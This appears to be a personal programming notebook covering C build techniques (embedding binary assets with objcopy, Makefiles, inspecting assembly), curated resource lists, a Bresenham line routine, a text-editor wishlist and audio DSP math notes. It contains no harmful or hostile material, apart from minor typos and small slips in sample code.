        printf("ALL TESTS PASSED\n");
    }
    printf("Tests run: %d\n", tests_run);

    return result != 0;
}

Source: JTN002 - MinUnit – a minimal unit testing framework for C

How to embed binary data in our programs

It is common to want to embed data and assets in our programs, particularly when we are working with embedded systems without a filesystem. Having a good asset pipeline is pretty essential and something I neglected for a long time.

My previous workflow consisted on grabbing binary files and converting them to a C source file that looked like this:

static const u32 font[] = {
    0x00000000, 0x00000000, 0x00002400, 0x423c0000,
    0x00002400, 0x3c420000, 0x0000363e, 0x3e1c0800,
    0x00081c3e, 0x3e1c0800, 0x001c1c3e, 0x363e081c,
    0x00081c3e, 0x3e3e081c, 0x00000018, 0x18000000,
    0x7e7e7e66, 0x667e7e7e, 0x00001824, 0x24180000,
    ...
};

I wrote some hacky tools to deal with this (and yes, I know there are thousands of these kind of utilities available, I just like to cook my own food ok?), but this is far from an optimal solution.

I compile pretty much everything these days using the ever-present Makefiles and if we are compiling C code, you probably already have installed all the tools you may need for this purpose. We can use objcopy to generate object files that can then be linked into your executable, for example:

objcopy -I binary -O elf32-little source.bin source.o

Note that depending on your architecture you may need to change this slightly. For example I need to do the following to make it work on my ARM systems:

arm-none-eabi-objcopy -I binary -O elf32-littlearm source.bin source.o

It’s also possible you may want to put the embedded data in a different ELF section other than .data, in which case you can use the --rename section argument:

objcopy -I binary -O elf32-little --rename-section .data=.rodata,alloc,load,readonly source.bin source.o

Once you have your object files, it’s only a matter of linking them together with the rest of your code:

gcc -o my_program my_program.c source.o

If we put it all together on a Makefile, we can have an assets folder where we will put everything it should be linked together:

.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
ASSETS_DIR  := assets
SRC_OBJ     := $(wildcard $(SRC_DIR)/*.c)
ASSETS_SRC  := $(wildcard $(ASSETS_DIR)/*.bin)
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
ASSETS      := $(patsubst $(ASSETS_DIR)/%.bin, $(BUILD_DIR)/%.o, $(ASSETS_SRC))
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := hello-world
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump
OBJCOPY  := objcopy

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BUILD_DIR) $(OBJECTS) $(ASSETS) $(BIN)

$(BIN): $(OBJECTS) $(ASSETS) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(OBJECTS) $(LDLIBS) $(ASSETS)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $< -o $@ -r

# Inference rules for binary file embedding.
$(BUILD_DIR)/%.o: $(ASSETS_DIR)/%.bin | $(BUILD_DIR)
    $(OBJCOPY) -I binary -O elf32-little $< $@

Ok you have the assets and your code bundled together, but how do you use it? Well, we have to take advantage of the extern keyword. If we have embedded a file located at assets/source.bin, your variable declarations should look something like this:

extern char _binary_assets_source_bin_start[];
extern char _binary_assets_source_bin_size[];

To use it as an array, you would have to cast the size to a size_t value:

char *source_data = _binary_assets_source_bin_start;
size_t source_size = (size_t)_binary_assets_source_bin_size;

If you can’t find the symbol name that was generated by objcopy, you can use readelf or objdump to explore the symbol table:

> readelf -Ws build/source.o

Symbol table '.symtab' contains 4 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 NOTYPE  GLOBAL DEFAULT    1 _binary_assets_source_bin_start
     2: 00000150     0 NOTYPE  GLOBAL DEFAULT    1 _binary_assets_source_bin_end
     3: 00000150     0 NOTYPE  GLOBAL DEFAULT  ABS _binary_assets_source_bin_size

The names can get a bit hairy to use, so using macros for more descriptive names is not a terrible idea:

#define SOURCE_DATA _binary_assets_source_start
#define SOURCE_SIZE _binary_assets_source_size

extern s8 SOURCE_DATA[];
extern u8 SOURCE_SIZE[];

Lately I’ve moved to use these cursed macros to include raw binary files when possible, they can be used outside functions and already setup the extern variables for me. Nifty! I didn’t came up with this idea, but just adapted it to suit my needs, check the sources below for more info.

#define BINARY(sect, file, sym) \
    asm (\
        ".section " #sect "\n"\
        ".balign 4\n"\
        ".global " #sym "\n"\
        #sym ":\n"\
        ".incbin \"" file "\"\n"\
        ".global " #sym "_size\n"\
        ".set " #sym "_size, . - " #sym "\n"\
        ".balign 4\n"\
        ".section \".text\"\n"\
    );\
    extern const char sym[], sym##_size[]

#define BINARY_PARTIAL(sect, file, offset, size, sym) \
    asm (\
        ".section " #sect "\n"\
        ".balign 4\n"\
        ".global " #sym "\n"\
        #sym ":\n"\
        ".incbin \"" file "\"," #offset "," #size "\n"\
        ".global " #sym "_size\n"\
        ".set " #sym "_size, . - " #sym "\n"\
        ".balign 4\n"\
        ".section \".text\"\n"\
    );\
    extern const char sym[], sym##_size[]

• Source: How to Embed Binary Data in Program Code
• Source: Portable way of including binary on an executable?

How to explore assembly code

There are tools like Godbolt/Compiler explorer that allow us to look at the generated assembly code for our files but on UNIX you probably already have the necessary things if you have installed your build-tools. This Makefile will generate object files .o, partially compiled assembly files .s and dissasembled code using objdump .dump. Just create an src directory, put your source .c files there and run make.

.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_OBJ     := $(wildcard $(SRC_DIR)/*.c)
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
ASM_FILES   := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.s, $(SRC_OBJ))
DUMP_FILES  := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.dump, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) -name "*.c" -or -name "*.s" -or -name "*.h")
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := compiler-explorer
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 1
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(ASM_FILES) $(OBJECTS) $(DUMP_FILES)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $< -o $@ -r

# Inference rules for partially compiled assembly.
$(BUILD_DIR)/%.s: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) -S $< -o $@ -r

$(BUILD_DIR)/%.dump: $(BUILD_DIR)/%.o | $(BUILD_DIR)
    $(OBJDUMP) -Mintel -d $< > $@

For example the following file named src/math.c:

// src/math.c
int square(int num) {
    return num * num;
}

Will generate the dump file build/math.dump:

build/math.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <square>:
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   89 7d fc                mov    DWORD PTR [rbp-0x4],edi
   7:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
   a:   0f af c0                imul   eax,eax
   d:   5d                      pop    rbp
   e:   c3                      ret

And partially compiled assembly file build/math.s:

    .file   "math.c"
    .text
.Ltext0:
    .file 0 "/home/badd10de/microbolt" "src/math.c"
    .globl  square
    .type   square, @function
square:
.LFB0:
    .file 1 "src/math.c"
    .loc 1 1 21
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    movl    %edi, -4(%rbp)
    .loc 1 2 16
    movl    -4(%rbp), %eax
    imull   %eax, %eax
    .loc 1 3 1
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   square, .-square
.Letext0:
    .section    .debug_info,"",@progbits
.Ldebug_info0:
    .long   0x64
    .value  0x5
    .byte   0x1
    .byte   0x8
    .long   .Ldebug_abbrev0
    .uleb128 0x1
    .long   .LASF2
    .byte   0x1d
    .long   .LASF0
    .long   .LASF1
    .quad   .Ltext0
    .quad   .Letext0-.Ltext0
    .long   .Ldebug_line0
    .uleb128 0x2
    .long   .LASF3
    .byte   0x1
    .byte   0x1
    .byte   0x5
    .long   0x60
    .quad   .LFB0
    .quad   .LFE0-.LFB0
    .uleb128 0x1
    .byte   0x9c
    .long   0x60
    .uleb128 0x3
    .string "num"
    .byte   0x1
    .byte   0x1
    .byte   0x10
    .long   0x60
    .uleb128 0x2
    .byte   0x91
    .sleb128 -20
    .byte   0
    .uleb128 0x4
    .byte   0x4
    .byte   0x5
    .string "int"
    .byte   0
    .section    .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
    .uleb128 0x1
    .uleb128 0x11
    .byte   0x1
    .uleb128 0x25
    .uleb128 0xe
    .uleb128 0x13
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0x1f
    .uleb128 0x1b
    .uleb128 0x1f
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x7
    .uleb128 0x10
    .uleb128 0x17
    .byte   0
    .byte   0
    .uleb128 0x2
    .uleb128 0x2e
    .byte   0x1
    .uleb128 0x3f
    .uleb128 0x19
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x39
    .uleb128 0xb
    .uleb128 0x27
    .uleb128 0x19
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x7
    .uleb128 0x40
    .uleb128 0x18
    .uleb128 0x7a
    .uleb128 0x19
    .uleb128 0x1
    .uleb128 0x13
    .byte   0
    .byte   0
    .uleb128 0x3
    .uleb128 0x5
    .byte   0
    .uleb128 0x3
    .uleb128 0x8
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x39
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2
    .uleb128 0x18
    .byte   0
    .byte   0
    .uleb128 0x4
    .uleb128 0x24
    .byte   0
    .uleb128 0xb
    .uleb128 0xb
    .uleb128 0x3e
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0x8
    .byte   0
    .byte   0
    .byte   0
    .section    .debug_aranges,"",@progbits
    .long   0x2c
    .value  0x2
    .long   .Ldebug_info0
    .byte   0x8
    .byte   0
    .value  0
    .value  0
    .quad   .Ltext0
    .quad   .Letext0-.Ltext0
    .quad   0
    .quad   0
    .section    .debug_line,"",@progbits
.Ldebug_line0:
    .section    .debug_str,"MS",@progbits,1
.LASF2:
    .string "GNU C17 13.1.1 20230429 -mtune=generic -march=x86-64 -g -O0"
.LASF3:
    .string "square"
    .section    .debug_line_str,"MS",@progbits,1
.LASF0:
    .string "src/math.c"
.LASF1:
    .string "/home/badd10de/microbolt"
    .ident  "GCC: (GNU) 13.1.1 20230429"
    .section    .note.GNU-stack,"",@progbits

Feel free to tweak the CFLAGS parameters or change the debug flag to use optimizations modifying the makefile’s REALESE_CFLAGS, DEBUG_CFLAGS and the DEBUG ?= 1 or DEBUG ?= 0 options.

To get the size of each section in an .elf file we can do:

size -A -d my-file.elf

And the sizes of different fuctions and structurestherein:

nm --print-size --size-sort --radix=d my-file.elf

Resources

Parallelism/Concurrency

• Concurrent programming, with examples by @begriffs
• Coroutines in C
• Green Threads Explained

Memory and OS resources

• MMAP an entire large file into memory (StackOverflow)
• The lost art of structure packing
• How to Map Files into Memory in C (mmap) (Video)
• How do I measure how much memory my program is using? (getrusage) (Video)
• Writing a Simple Garbage Collector in C
• Untangling lifetimes: The arena allocator
• Ginger Bill series on memory allocators
• Skeeto’s arena with mmap
• Contiguous allocations with mmap (Reddit)
• Arena allocators tips and tricks
• So you want custom allocator support in your C library
• A simple, arena-backed, generic dynamic array for C

Libraries/Tools

• Klib: a generic library in C
• STB libraries by @nothings
• Godbolt’s compiler explorer

Debugging/profiling

• Flamegraphs
• The poor man’s profiler
• Tracy: A real time, nanosecond resolution, remote telemetry frame profiler
• RMS’s gdb debugger tutorial
• GDB tutorial
• Debugging with Core Dumps (Video)
• Debugging with GDB

Networking

• Beej’s Guide to Network Programming
• Beej’s Guide to Unix IPC

UI

• Hacking the world with notcurses. A guide to TUI and character graphics.

Other

• Why move away from C++? (C++ FQA)
• ##C wiki
• C FAQ
• C11 Standard
• C99 Standard
• Why Aren’t There C Conferences?
• Render Multimedia in Pure C, by Chris Wellons
• Interactive Programming in C, by Chris Wellons
• Portable Makefiles, by Chris Wellons
• Looking for entropy in all the wrong places, by Chris Wellons
• Small-Size Optimization in C, by Chris Wellons
• Handles are the better pointers by @flohofwoe
• Modern C for C++ Peeps by @flohofwoe
• Inside the C standard library by @begriffs
• What a C programmer should know about memory
• Disch’s tutorial to good binary files
• Speed Limits
• Understanding strict aliasing (Mike Acton)
• Using locks in real-time audio processing, safely (C++)
• Load CGLTF files in C
• Signal processing in C
• The basic ontology of a C program
• C compiler flags, by Chris Wellons
• Bit tricks for branchless programming
• A beginners’ guide away from scanf()

Books

• The C programming language, by K&R (2nd edition)
• The Art of Computer Programming, by Donald Knuth
• C interfaces and implementations, by David R. Hanson

Talks

• CppCon 2014: Chandler Carruth “Efficiency with Algorithms, Performance with Data Structures”
• CppCon 2014: Mike Acton “Data-Oriented Design and C++”
• C++Now 2018: You Can Do Better than std::unordered_map: New Improvements to Hash Table Performance
• Bloom filters, by Dr. Rob Edwards
• Modern C and what can we learn from it - Luca Sas (ACCU 2021)

Sorting

Some rules of thumb for selecting sorting algorithms:

• If sorting a small array, quicksort performs great.
• To perform sorting in place, use quicksort or heap sort.
• Mergesort offers stable sorting with excellent performance at the cost of O(n) extra memory.
• Internal vs external sorting (that is, if the algorithm can operate by splitting files in the hard-drive or if it fits on RAM). Mergesort can work by splitting files into smaller ones.
• If the data supports it, bucket/radix/counting sorts are an excellent pick: Counting for small data, buckets if the distribution of elements is uniform and radix if we can divide the data into number of bits (Note that there are ways of making Radix sort work with other data types).

Resources

• Radix sort implementation
• Radix sort is faster than quicksort
• Engineering radix sort, by McIlroy et al.
• American flag sort (Wikipedia)
• Stabilizing C’s Quicksort, by Chris Wellons
• Mergesort in C

Hash tables/Hashing

Resources

• Write a hash table in C
• Writing a damn fast hash table with tiny memory footprint
• Fibonacci hashing, the optimization that the world forgot, by Malte Skarupke
• Advanced techniques for fast hash tables
• Robin Hood hashing
• Cuckoo hashing (Wikipedia)
• Hopscotch hashing (Wikipedia)
• Hash functions
• Hash Functions and Block Ciphers

Random/Pseudo random

Resources

• A new algorithm for controlled randomness, by Malte Skarupke

Graphics

Bresenham’s algorithm for rasterizing lines

1. Get the initial (x0, y0) and final (x1, y1) coordinates for the line.
2. Calculate the deltas delta_x, delta_y, 2 * delta_x and 2 * delta_y
3. Initialize initail error parameter as: err = 2_delta_y - delta_x
4. For each x coordinate point between x0 and x1 (x_k) if err < 0 the next point is (x_k + 1, y_k); err = err + 2_delta_y. If not, `(x_k + 1, y_k
   • 1); err = err + 2_delta_y - 2_delta_x`

The previous algorithm will only work when drawing lines in the same direction. Additionally, the inputs may be flipped (e.g. x1 < x0) and the slope can be positive or negative. Here is a C implementation of the line drawing algorithm with these considerations in mind, using exclusively integer arithmetic:

// Draws a line with the given color between (x0,y0) and (x1,y1) using the
// Bresenham's line drawing algorithm using exclusively integer arithmetic.
static void
draw_line(int x0, int y0, int x1, int y1, Color clr) {
    // Pointer to the initial position of the screen buffer where we will start
    // writing our data.
    vu16 *destination = (u16*)(SCREEN_BUFFER + y0 * SCREEN_WIDTH + x0);

    // Adjust the step direction and calculate deltas.
    int x_step;
    int y_step;
    int dx;
    int dy;
    if (x0 > x1) {
        x_step = -1;
        dx = x0 - x1;
    } else {
        x_step = 1;
        dx = x1 - x0;
    }
    if (y0 > y1) {
        y_step = -SCREEN_WIDTH;
        dy = y0 - y1;
    } else {
        y_step = +SCREEN_WIDTH;
        dy = y1 - y0;
    }

    if(dy == 0) {
        // Horizontal line.
        for(int i = 0; i <= dx; i++) {
            destination[i * x_step] = clr;
        }
    } else if(dx == 0) {
        // Vertical line.
        for(int i = 0; i <= dy; i++) {
            destination[i * y_step] = clr;
        }
    } else if (dx >= dy){
        // Positive slope.
        int diff = 2 * dy - dx;
        for (int i = 0; i <= dx; ++i) {
            *destination = clr;
            if (diff >= 0) {
                destination += y_step;
                diff -= 2 * dx;
            }
            destination += x_step;
            diff += 2 * dy;
        }
    } else {
        // Negative slope.
        int diff = 2 * dx - dy;
        for (int i = 0; i <= dy; ++i) {
            *destination = clr;
            if (diff >= 0) {
                destination += x_step;
                diff -= 2 * dy;
            }
            destination += y_step;
            diff += 2 * dx;
        }
    }
}

Other

Resources

• Fast median search, an ANSI C implementation
• A fast alternative to the modulo reduction
• Space efficient resizable arrays
• Dictionary of Algorithms and Data Structures
• Base64 encode/decode in C

Related

• Encoding and Compression
• Signal Processing
• Automata Theory

Resources

• A hacker's replacement for Gmail
• Cheap home backups
• Datacenter running on sustainable energy

I’ve been using Vim as my main text editor for a long time. I also tried to use Emacs for around one year (With Evil mode) and I appreciate some of the ways that Emacs deal with text editing and customization. For the most part my workflow remained the same and I liked both editors. Ultimately I found Emacs slow and unresponsive in many cases where Vim was blazing through it, and in pursuit of simplicity I just ended up using Vim full time once again.

I would say I feel comfortable with Vim, but from time to time I run into annoyances and minor frustrations. I’ve tried to solve some of these but never quite manage to get where I wanted to get. Neither Vim 8 or NeoVim (my current Vim implementation of choice) addresses these issues.

My dream editor

For a while I’ve fantasized with creating my own hobby text editor tailored to my preferences and idiosyncrasy and if I were to do that, here are some things I would like to have, in no particular order:

• A modal approach to text editing (Normal, Insert, Visual, Replace). A subset of Vim’s commands should be implemented for movement and editing.
• The program should be implemented so that it would be trivial to implement a frontend in any way we wished. For example, I mostly edit text in the terminal with tmux, but sometimes I would like to have access to a graphics implementation that could work in multiple operating systems, supporting things like smooth scrolling and other goodies. Likewise, I would like to be able to integrate this editor as a library in any project, so that it could be used with custom tools (i.e. debug tools in graphical applications).
• No server/client distinction. The code is compiled into a binary object, this can be linked with the frontend or the tools we want either dynamically or statically.
• Because of the previous items, we should consider to work with text buffers in a similar way as Emacs, dealing with buffers and commands.
• Fuzzy search for opening files. This should be project aware, so that we only look at the files in the .git or version control repository or we could choose to recursively search all directories up to a maximum depth. There should be a way of searching by exact matches, for example by prepending a quote, like in the fzf utility (fzzy 'exact-search).
• Document and project-wise search and replace with support to regular expressions.
• Context aware or specific selection of autocompletion.
• Default support for version control operations (like Magit in Emacs or Fugitive in Vim). This should be limited to the common operations that involve editing text and perhaps for resolving merge conflicts.
• All search/completion operations should be non-blocking. Interactivity and responsiveness is king.
• Support for editor commands (C-x in emacs or : in Vim) which will get auto-completed as we type.
• Support for spellchecking, grammar and/or thesaurus search.
• Support smart auto-indentation in specific languages
• The editor could be configured with a simple .ini text file or via recompilation.
• Plugins could be added as C modules, either dynamically loaded or statically compiled.
• Fast syntax highlighting. I use it very slightly but at least I like my comments and imports to be highlighted.
• Should be able to open gigantic files. By default, large files will be opened in read only mode (Which could be more efficient) but if desired we can jump into read-write with a command. Operating in these files should be fast, including searching them.
• Support for macro recording. They should be easier to use than in Vim and work with the . repeat command.
• Undo/Redo tree (Quite obvious). There is some considerations about permanently keeping track of these undo/redo trees per file up to a maximum. Note that this could pose a security risk, although we could try to encrypt it in some way.
• Compilation and compilation messages in compilation buffers. For example, I should be able to run :make or the appropriate shortcut and the compilation should start. If there are any errors, we should have direct jumps to those in the code (copen in Vim). As mentioned before, this should be done in parallel if possible.
• We should be able to pipe commands to the editor and buffers to commands. Also, we should be able to run shell commands from the editor directly to paste the output there. This can be tricky for multiplatform support, however.
• Unicode support by default please.
• Possible to switch easily from binary/hex to text, including editing.
• Command search supports fuzzy-find parameters.
• Potential integration with GDB or other debuggers.
• Async when needed (Important for responsiveness).

Algorithms and data structures

Here are some algorithms that would be interesting to explore for the implementation of the internal structure:

• Emacs style “gap buffer” algorithm.
• Rope data structures as used in Xi editor.
• Piece table data structure
• Piece table method

Piece table conerns

This doesn’t seem like a big deal to me to be honest but here is the opinion of someone who clearly knows what they are doing:

There’s one other important concern with piece tables I didn’t see addressed. It depends on the file contents on disk not changing. If your file system supported locking or the ability to get a read-only snapshot, this would be fine, but in practice most don’t. It’s very common, say, to checkout a different git branch while the file is open in the editor. Thus, the editor must store its own copy to avoid corruption. In the long term, I would like to see this solved by offering read-only access to files, but that’s a deeper change that can be made piecewise. - Raph Linus

Resources

• The Craft of Text Editing (or Emacs for the Modern World)
• Data structures used in text editors
• Data structures in the Andrew text editor

Inspiration

• Programming a text editor from scratch
• ZED text editor
• 4coder development

Audio programming

Audio programming can be very fun, but it also come with a particular set of challenges that are not often found in other programming fields. Audio processing is typically a real-time problem (unless you are performing offline rendering), in particular we can classify it as a firm real-time system, meaning that if we fail to meet the processing “deadline”, we won’t normally cause a full system failure, but audible glitches can be very very noticeable by humans and can be annoying or outright insufferable.

In real-time audio programming, we will usually have a callback function that will be periodically be called by the audio thread when new samples are needed. This function will be tasked to fill up N samples in a buffer (or buffers in stereo). For example, if the audio sampling rate is 44.1KHz and the buffer size is of 256 samples, the callback can be called each (256 / 44100 * 1000) = 5.80ms. Furthermore, the longer the audio buffers are, the longer the latency/responsiveness of our audio. Anything longer than 5-15ms will be quite noticeable when trying to play in real time, but it’s not so problematic otherwise (for example, a 100ms audio latency in a DAW may be annoying, but it’s still usable, but good luck trying to play an instrument with that kind of delay).

Some important things to consider when working on the audio callback function are:

• Never allocate memory.
• Aim for a deterministic time boundary.
• Optimize performance for worst case.
• Don’t wait or lock threads, no mutexes.
• Use atomic operations and/or double buffering when possible to avoid data races.

Math

Complex numbers

A lot of signal processing math makes use of complex numbers in the rectangular form (a + j * b) or polar form (A = sqrt(a^2 + b^2); phi = atan2(b/a)). The later is commonly used as the vector representation of the polar form makes more intuitive sense when multiplying or adding vectors.

The Euler’s formula gives us a mapping between the rectangular and polar forms:

exp(j * phi) = cos(phi) + j * sin(phi)
cos(phi) = (exp(j * phi) + exp(-j * phi)) / 2
sin(phi) = (exp(j * phi) - exp(-j * phi)) / (2 * j)

Sinusoidal waves

The most fundamental of audio waves is the sine wave. In a discrete context, a real sinewave takes the form of:

y[n] = A * cos(w * n * Ts + phi) =
     = A * cos(2 * pi * f * n * Ts + phi) =
     = A * cos(2 * pi * n * f / fs + phi)

where:  A := amplitude
        w := angular frequency (radians/second)
        f = w / (2 * pi) := frequency in Hertz (cycles/second)
        phi := initial phase in radians
        n := time index
        Ts := sampling period (= 1 / fs)
        fs := sampling frequency

Here is how to generate a real sine wave in Python:

A = .9
f = 440
fs = 44100
phi = np.pi / 2
n = np.arange(-0.002, 0.002, 1.0 / fs)
y = A * np.cos(2 * np.pi * f * n + phi)

In audio DSP we often work with complex sinewaves of the form:

s[n] = exp(j * 2 * pi * k * n / N) = cos(2 * pi * k * n / N) + j * sin(2 * pi * k * n / N)
where: N := Number of samples
       k := Number of wave cycles

N = 500
k = 3
n = np.arange(-N/2, N/2)
s = np.exp(2j * np.pi * k * n / N)

Convolution

A very important operation in DSP is the convolution, which in a discrate domain can be represented as:

c[n] = convolve(a, b, n)

def convolve(a, b, n):
    c = 0
    for m in range(0, N - 1):
        c += a[m] * b[n - m]
    return c

Discrete Fourier Transform (DFT)

The DFT transforms a discrete time domain signal into its spectral representation.

X[k] = sum_n(x[n] * exp(-j2 * pi * k * n / N)), k = 0,..., N-1, n = 0, ... N-1

The counterpart inverse DFT (IDFT) takes a spectral signal and recovers the corresponding time domain data:

x[n] = 1/N * sum_k(X[k] * exp(j * 2 * pi * k * n / N)), k = 0,..., N-1, n = 0, ... N-1

In Python, these can be implemented as follows:

def dft(x):
    N = len(x)
    X = np.zeros(N, dtype = np.complex_)
    for k in range(0, N):
        n = np.arange(N)
        s = np.exp(-2j * np.pi * k * n / N)
        X[k] = np.sum(x * s)
    return X

def idft(X):
    N = len(X)
    x = np.zeros(N, dtype = np.complex_)
    for n in range(0, N):
        k = np.arange(N)
        s = np.exp(2j * np.pi * k * n / N)
        x[n] = np.sum(X * s) / N
    return x

Each bin n in the DFT output corresponds to bin = n * fs / N. Where N is the number of samples used to calculate the DFT. Note that higher FFT windows result in narrower spectral peaks for detected harmonics and thus higher spectral resolution.

While the spectrum is a complex signal, we normally visualize it using its magnitude and phase graphs. The phase graph can look quite messy, but using phase unwrapping (adding 2 * pi at discontinuity points) we have a more visually clear representation of the phase.

If we use zero-padding (adding zeroes at the end of a signal) on a time domain signal before DFT, the computed spectrum will be smoother. It is akin to an interpolation in the spectral domain.

Properties

• Linearity:
  • a * x1[n] + b * x2[n] <-> a * X1[k] + b * X2[k]
• Shift:
  • x[n - n0] <-> exp(-j * 2 * pi * k * n0/N) * X[k]
• Symmetry:
  • x[n] real <-> Real{X[k]} even and Imaginary{X[k]} odd
  • x[n] real <-> |X[k]| even and phase X[k] odd
  • x[n] real and even <-> Real{X[k]} even and Imaginary{X[k]} = 0
  • x[n] real and even <-> |X[k]| even and phase X[k] = n * pi
• Convolution:
  • conv(x1[n], x2[n]) <-> X1[k] * X2[k]
  • x1[n] * x2[n] <-> conv(X1[k], X2[k])
• Energy conservation:
  • sum(|x[n]|^2) = 1/N * sum(|X[k]|^2)

Fast Fourier Transform (FFT)

The DFT can be quite demanding to calculate, but a more efficient algorithm called the FFT is used in practice. The FFT takes advantage of the symetry properties to dramatically reduce the computation time, going from an O(N^2) (DFT) to O(N log(N)) (FFT).

To use the FFT, our input signal must be a power of 2. To calculate the FFT of an arbitrary length signal, we use a combination of zero-padding and zero-phase windowing. The way it works, is that we split the original signal in the middle, the rightmost part will be located at the beginning of the fft buffer, followed by the zero padding and lastly by the leftmost part of the original signal.

Resources

• FFT implementations (Rosetta code)
• FFT window overlap
• Packing 2 real FFTs at once
• “Real” FFT implementation
• A General Comparison Of FFT Algorithms
• A new look at the comparison of the fast Hartley and Fourier transforms
• The fast Hartley transform
• The Fast Hartley Transform Algorithm
• Optical synthesis of the Hartley transform
• Cooley-Tukey FFT algorithm (Wikipedia)
• A general comparison of FFT Algorithms
• Discrete and Fast Fourier transforms Part 2: FFT
• Divide and conquer FFT
• The Fast Fourier Transform (FFT) Algorithm
• Aliasing and Oversampling for DSP Engineers - Sam Fischmann - ADC23

Short-time Fourier Transform (STFT)

If we work with real time audio, we don’t always have the entirety of the audio signal when we start processing, but rather, we operate on chunks/frames of audio. Furthermore we can define the STFT as a way of working with these chunks of audio. In short, it involves the multiplication of the chunk with a window function and then performing a normal fourier transform of the signal for that chunk:

X[k] = sum(w[n] * x[n+iH] * exp(-j * 2 * pi * k * n / N))
    where:
        n := time index (-N/2 <= n <= N/2 - 1)
        w := analysis window
        i := frame number
        H := hop-size

The effect of windowing on the spectra of a sinusoid is the same as shifting the spectra of the window to both the negative and positive frequencies of the sinusoid.

There are different types of window, with different spectral properties. Usually we evaluate windows by measuring the width of the main lobe and the amplitude of the side lobes.

Some of the most common windows used in audio processing are:

• Boxcar/rectangular:
  • w[n] = 1 when -M/2 <= n < M/2, w[n] = 0 otherwise
  • The spectrum is a sinc function W[k] = sin(pi * k) / sin(pi * k / M)
  • main-lobe width: 2 bins
  • side-lobe level: -13.3dB
• Hanning
  • One of the most popular for audio processing.
  • w[n] = 0.5 + 0.5 * cos(2 * pi * n / M)
  • main-lobe width: 4 bins
  • side-lobe level: -31.5dB
• Hamming
  • Similar to Hanning, with better side-lobe level but more sidelobes across the entire spectra.
  • w[n] = 0.54 + 0.46 * cos(2 * pi * n / M)
  • main-lobe width: 4 bins
  • side-lobe level: -42.7dB
• Blackman
  • Really good side-lobe level not that wide spectral coverage.
  • w[n] = 0.42 - 0.5 * cos(2 * pi * n / M) + 0.08 * cos(4 * pi * n / M)
  • main-lobe width: 6 bins
  • side-lobe level: -58dB
• Blackman-Harris
  • Excellent side-lobe, pretty much below the noise level of a 16bit signal.
  • w[n] = 1 / M * sum(a[l] * cos(l * 2 * pi * n / N)), 0 <= l < 4 a[0] = 0.35875, a[1] = 0.48829, a[2] = 0.14128, a[3] = 0.01168
  • main-lobe width: 8 bins
  • side-lobe level: -92dB

